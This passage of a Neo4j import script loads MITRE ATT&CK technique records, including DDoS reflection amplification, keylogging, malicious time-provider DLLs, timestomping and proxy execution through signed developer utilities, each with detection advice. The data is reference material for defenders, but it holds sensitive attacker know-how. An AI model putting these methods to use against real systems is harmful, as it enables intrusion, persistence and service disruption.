botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\n\n###Direct Network Flood###\n\nDirect Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for Direct Network Floods. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\n###Reflection Amplification###\n\nAdversaries may amplify the volume of their attack traffic by using Reflection. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflector may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017)\n\nReflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018)  In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Network Denial of Service", modified:"2019-07-18T16:33:41.678Z", kill_chain_phases:["0a439a53-adff-4cfc-810d-1107a62c0e29"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab", external_references:["007a13f4-312c-4695-a5a3-78b2a14104c2", "65c7f03c-3902-4dff-b2fe-02fbb892cd4c", "25453c80-e35c-4da5-b577-038b90e6cdc1", "f20ed4b9-4372-4449-aba6-11d9d369c915", "94b7d90d-5713-4dc4-91c9-9dea71d338cc", "c93e422d-153f-408a-a02e-4ba59fbc8d75", "46108c25-a7fa-43ba-a864-968ed42b1618", "a615161f-d51b-4353-b826-1a84a850fccd", "80f4e2ce-29a8-4dd9-a224-30de6c4c9e20", "03cc1f06-3ace-4b83-a4c4-7ff2e2d9c700", "92d4f0c2-96f0-4b37-9018-b3c03ca3eda0"]}}, {_id:606, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:41.804Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":true,\"x_mitre_data_sources\":[\"User interface\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\"}", description:"Data exfiltration is performed over the Command and Control channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Exfiltration Over Command and Control Channel", modified:"2019-07-17T20:19:29.398Z", kill_chain_phases:["2c4e9b79-edef-4e8a-b645-8fba8ec0c62d"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", external_references:["dabf5e4c-df7f-42dc-97d2-58e695ed7557", "f287b1fa-e9b8-4bc0-bb78-47816559859e"]}}, {_id:613, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:46.461Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_network_requirements\":false,\"x_mitre_data_sources\":[\"Data loss prevention\",\"File monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Monitor file access on removable media. Detect processes that execute when removable media are mounted.\",\"x_mitre_system_requirements\":[\"Presence of physical medium or device\"]}", description:"In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Exfiltration Over Physical Medium", modified:"2019-07-24T17:36:01.198Z", kill_chain_phases:["b49923a3-be10-429d-9583-9ac853cd0ebe"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", external_references:["f0159d1a-813f-4b1a-bce8-01cad8c83c60"]}}, {_id:838, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:30:48.323Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Windows Registry\",\"Kernel drivers\",\"Process monitoring\",\"API monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsyncKeyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.\\n\\nMonitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in use by adversaries may help to catch the result of user input interception if new techniques are used.\",\"x_mitre_contributors\":[\"John Lambert, Microsoft Threat Intelligence Center\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"Adversaries can use methods of capturing user input for obtaining credentials for [Valid Accounts](https://attack.mitre.org/techniques/T1078) and information Collection that include keylogging and user input field interception.\n\nKeylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)\n\nKeylogging is likely to be used to acquire credentials for new access opportunities when [Credential Dumping](https://attack.mitre.org/techniques/T1003) efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.\n\nAdversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Input Capture", modified:"2019-06-18T13:33:08.842Z", kill_chain_phases:["97082d34-adf6-4ef2-b5f2-131b59fb2eac", "792f1d6c-6f02-45d9-995f-fd710ac23ab4"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", external_references:["bf710842-b854-41b5-a844-3ab1df57f636", "de7357fc-02b8-41a7-9db5-bd31588f6e09", "9c75105b-d371-4180-9b94-e6cc8fffef24", "108ad44d-1d97-41a2-b7a1-8acba1771cbe", "a3bdb366-010a-4cce-b86a-7bff18b11fa9"]}}, {_id:1721, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2018-04-18T17:59:24.739Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Binary file metadata\",\"DLL monitoring\",\"File monitoring\",\"Loaded DLLs\",\"Process monitoring\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\\n\\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)\",\"x_mitre_contributors\":[\"Scott Lundgren, @5twenty9, Carbon Black\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"]}", description:"The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Time Providers", modified:"2019-07-17T21:51:10.433Z", kill_chain_phases:["559ac123-2bd1-40f9-99c3-6e0885ce6d3e"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87", external_references:["789404b8-67c8-4274-aaa0-46c70960f4ba", "fe5cf66f-1026-44fa-a5cc-f7003095d1b9", "4d238eba-6bd8-4708-848a-970fb296647d", "b143c40d-edca-489d-93fc-7e361cdd7033", "fb237ea7-2dcb-4912-b02d-96355fe1a595", "745097fe-1d46-420e-82bd-e25626ccb881"]}}, {_id:1729, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:12.675Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Host forensic analysis\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.\",\"x_mitre_contributors\":[\"Romain Dumont, ESET\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"SYSTEM\"]}", description:"Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Timestomp", modified:"2019-10-18T13:53:44.332Z", kill_chain_phases:["d1c8c38f-ad56-4c9a-ada5-47f39bddb019"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", external_references:["75119a21-3967-4ba5-9e9f-34f4550be520", "6e23993d-a143-4a50-adc0-1f45e0cb7553"]}}] AS row
CREATE (n:`UNIQUE IMPORT LABEL`{`UNIQUE IMPORT ID`: row._id}) SET n += row.properties SET n:attack_pattern:SDO;
UNWIND [{_id:1737, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-09T16:08:20.824Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\"],\"x_mitre_data_sources\":[\"Packet capture\",\"Network protocol analysis\"],\"x_mitre_impact_type\":[\"Integrity\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\",\"root\",\"SYSTEM\"]}", description:"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Transmitted Data Manipulation", modified:"2019-06-20T16:56:29.277Z", kill_chain_phases:["2326f2d2-9e17-4e8e-8cd2-f5460d6bb27f"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", external_references:["473a9f14-7b30-4bb4-b6b1-237323516a63", "f3746ce0-72c6-44a3-9467-775b525427fd", "c8525ad9-081f-4f18-b234-b0ed8655b991"]}}, {_id:1742, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-12-14T16:46:06.044Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\"],\"x_mitre_data_sources\":[\"File monitoring\",\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.\",\"x_mitre_permissions_required\":[\"User\",\"Administrator\"],\"x_mitre_remote_support\":false}", description:"The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common  keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Trap", modified:"2019-05-21T13:46:15.452Z", kill_chain_phases:["ea3c0336-d279-4bee-8628-cb6e90331935", "2427ba4c-ad5b-4d6e-90ff-94d20dd727ec"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", external_references:["6e388827-76cc-4bc1-9d19-de58fbe6f839", "35c9e5ce-e507-41db-bce1-9c44031d72a6", "f42469b9-0637-46d3-80af-0fee79411f5c"]}}, {_id:1748, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:39.262Z", custom:"{\"x_mitre_platforms\":[\"Windows\"],\"x_mitre_data_sources\":[\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Application whitelisting\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\\n\\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.\",\"x_mitre_contributors\":[\"Casey Smith\",\"Matthew Demaske, Adaptforward\"],\"x_mitre_permissions_required\":[\"User\"],\"x_mitre_remote_support\":false,\"x_mitre_system_requirements\":[\"MSBuild: .NET Framework version 4 or higher\\nDNX: .NET 4.5.2, Powershell 4.0\\nRCSI: .NET 4.5 or later, Visual Studio 2012\"]}", description:"There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: LOLBAS Msbuild)\n\n### DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: LOLBAS Tracker)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Trusted Developer Utilities", modified:"2019-07-31T19:44:19.300Z", kill_chain_phases:["1bd4bef7-1f72-45b5-bf40-b4d8eed11cac", "d7099b22-f6cd-4023-8174-e3129fdb307b"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", external_references:["958a0090-40a8-4658-a0cb-8e9673dcb334", "e1115ff6-a880-40b6-be3b-6af88e8eca71", "8540afb1-8819-41ff-b033-c404b7f19324", "619aaf0f-7fb9-477b-a747-ba2e8b294110", "aa4715ac-c740-491c-b44e-8ee3005a7f20", "9a27fd6c-cef9-4286-ae2a-f7bb90253f4a", "298ffe9e-a8f9-46cd-a586-59de050b1835", "39df8c21-7a29-4383-a9dc-14f2e811a93e", "bb2c03b5-0111-4d89-b0a4-087562fe46a0", "9320de8c-6619-4b6e-8327-cadc94e2bbc6", "8c25afc6-a120-4430-8c1b-f0e8e2850071"]}}, {_id:1765, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:23.195Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"API monitoring\",\"Process monitoring\",\"Kernel drivers\"],\"x_mitre_version\":\"1.0\",\"x_mitre_detection\":\"Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\\n\\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.\",\"x_mitre_contributors\":[\"John Lambert, Microsoft Threat Intelligence Center\"],\"x_mitre_permissions_required\":[\"Administrator\",\"SYSTEM\"],\"x_mitre_system_requirements\":[\"Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\\n\\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\\n\\nHardware token: Access to the seed and algorithm of generating one-time codes.\"]}", description:"Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Two-Factor Authentication Interception", modified:"2019-06-21T16:38:57.913Z", kill_chain_phases:["a8bee266-ca20-4867-9cdf-dd3e7cb797c0"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", external_references:["d26fd1f9-05f7-4f3e-b85f-e718e334b42f", "a779dd63-2d08-4fff-9b8e-76003db0a34d", "3b3ed723-6dfa-44e2-82a0-beff53ca7027", "20f16a3f-7894-49eb-b02e-b5a8aa998cf0"]}}, {_id:1786, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2017-05-31T21:31:00.645Z", custom:"{\"x_mitre_platforms\":[\"Linux\",\"macOS\",\"Windows\",\"AWS\",\"GCP\",\"Azure\",\"SaaS\",\"Office 365\"],\"x_mitre_effective_permissions\":[\"User\",\"Administrator\"],\"x_mitre_data_sources\":[\"AWS CloudTrail logs\",\"Stackdriver logs\",\"Authentication logs\",\"Process monitoring\"],\"x_mitre_defense_bypassed\":[\"Firewall\",\"Host intrusion prevention systems\",\"Network intrusion detection system\",\"Process whitelisting\",\"System access controls\",\"Anti-virus\"],\"x_mitre_version\":\"2.0\",\"x_mitre_detection\":\"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n\\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. \",\"x_mitre_contributors\":[\"Netskope\",\"Mark Wee\",\"Praetorian\"],\"x_mitre_permissions_required\":[\"User\",\"Administrator\"]}", description:"Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nAccounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.\n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nDefault accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", type:"attack-pattern", revoked:false, labels:[], granular_markings:[], name:"Valid Accounts", modified:"2019-10-23T14:22:11.800Z", kill_chain_phases:["7d8b4b33-cee4-4232-ac94-1ad895936745", "c4605493-57b3-4177-a433-ca63d3e06d9f", "2ecffade-4a85-4812-b290-f7b7bc9ee249", "419b5b8e-af32-4402-8321-e6dc5a6f7135"], created_by_ref:"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", id:"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", external_references:["c5fa0cc7-6e7e-45b7-b86e-ef1b1e027d46", "16b75885-31f4-4016-9b09-1be019e3c61d", "88a5b04d-91df-42b1-8096-af94885fb185", "5675754a-42c7-45ae-b039-f64baf6268a0", "18667e7a-4081-41bf-b1fa-d8b958b2519f", "d3e86efc-28d4-4964-9ac1-b379d9618c7a"]}}, {_id:1802, properties:{object_marking_refs:["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], created:"2019-04-17T22:22:24.505Z", custom:"{\"x_mitre_platforms\":[\"Windows\",\"macOS\"],\"x_mitre_data_sources\":[\"Process monitoring\",\"Process command-line parameters\"],\"x_mitre_defense_bypassed\":[\"Anti-virus\",\"Host forensic analysis\",\"Signature-based detection\",\"Static File Analysis\"],\"x_mitre_version\":\"1.1\",\"x_mitre_detection\":\"Virtualization, sandbox, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\\n\",\"x_mitre_contributors\":[\"Deloitte Threat Library Team\",\"Sunny Neo\"]}", description:"Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.\n\nAdversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)\n\n###Virtual Machine Environment Artifacts Discovery###\n\nAdversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can 